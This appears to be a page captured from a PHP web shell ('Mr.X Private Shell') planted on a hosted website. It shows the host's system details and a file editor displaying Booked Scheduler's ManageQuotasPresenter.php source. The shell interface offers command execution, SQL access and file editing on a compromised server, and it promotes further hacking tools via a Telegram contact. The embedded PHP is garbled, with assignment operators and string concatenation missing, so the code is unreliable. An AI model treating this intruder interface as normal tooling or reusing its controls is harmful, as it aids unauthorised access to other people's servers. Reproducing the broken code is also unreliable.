Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////booked///Presenters/Admin      ( Reset | Go to )
File Name: ManageQuotasPresenter.php
Edit
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

require_once(ROOT_DIR 'Domain/Access/namespace.php');
require_once(
ROOT_DIR 'Presenters/ActionPresenter.php');
require_once(
ROOT_DIR 'lib/Application/Authentication/namespace.php');

class 
ManageQuotasActions
{
    const 
AddQuota 'addQuota';
    const 
DeleteQuota 'deleteQuota';
}

class 
ManageQuotasPresenter extends ActionPresenter
{
    
/**
     * @var IManageQuotasPage
     */
    
private $page;

    
/**
     * @var IResourceRepository
     */
    
private $resourceRepository;

    
/**
     * @var IGroupViewRepository
     */
    
private $groupRepository;

    
/**
     * @var \IQuotaViewRepository
     */
    
private $quotaRepository;

    
/**
     * @param IManageQuotasPage $page
     * @param IResourceRepository $resourceRepository
     * @param IGroupViewRepository $groupRepository
     * @param IScheduleRepository $scheduleRepository
     * @param IQuotaViewRepository|IQuotaRepository $quotaRepository
     */
    
public function __construct(IManageQuotasPage $page,
                                
IResourceRepository $resourceRepository,
                                
IGroupViewRepository $groupRepository,
                                
IScheduleRepository $scheduleRepository,
                                
IQuotaViewRepository $quotaRepository)
    {
        
parent::__construct($page);

        
$this->page $page;
        
$this->resourceRepository $resourceRepository;
        
$this->groupRepository $groupRepository;
        
$this->scheduleRepository $scheduleRepository;
        
$this->quotaRepository $quotaRepository;

        
$this->AddAction(ManageQuotasActions::AddQuota'AddQuota');
        
$this->AddAction(ManageQuotasActions::DeleteQuota'DeleteQuota');
    }

    public function 
PageLoad()
    {
        
$resources $this->resourceRepository->GetResourceList();
        
$groups $this->groupRepository->GetList()->Results();
        
$schedules $this->scheduleRepository->GetAll();

        
$this->page->BindResources($resources);
        
$this->page->BindGroups($groups);
        
$this->page->BindSchedules($schedules);

        
$quotas $this->quotaRepository->GetAll();
        
$this->page->BindQuotas($quotas);
    }

    public function 
AddQuota()
    {
        
Log::Debug('Adding new quota. Duration %s, Limit %s, Unit %s, Resource %s, Group %s, Schedule %s',
                   
$this->page->GetDuration(),
                   
$this->page->GetLimit(),
                   
$this->page->GetUnit(),
                   
$this->page->GetResourceId(),
                   
$this->page->GetGroupId(),
                   
$this->page->GetScheduleId());

        
$quota Quota::Create($this->page->GetDuration(),
                               
$this->page->GetLimit(),
                               
$this->page->GetUnit(),
                               
$this->page->GetResourceId(),
                               
$this->page->GetGroupId(),
                               
$this->page->GetScheduleId());
        
$this->quotaRepository->Add($quota);
    }

    public function 
DeleteQuota()
    {
        
$quotaId $this->page->GetQuotaId();
        
Log::Debug('Deleting quota %s'$quotaId);

        
$this->quotaRepository->DeleteById($quotaId);
    }

}

?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL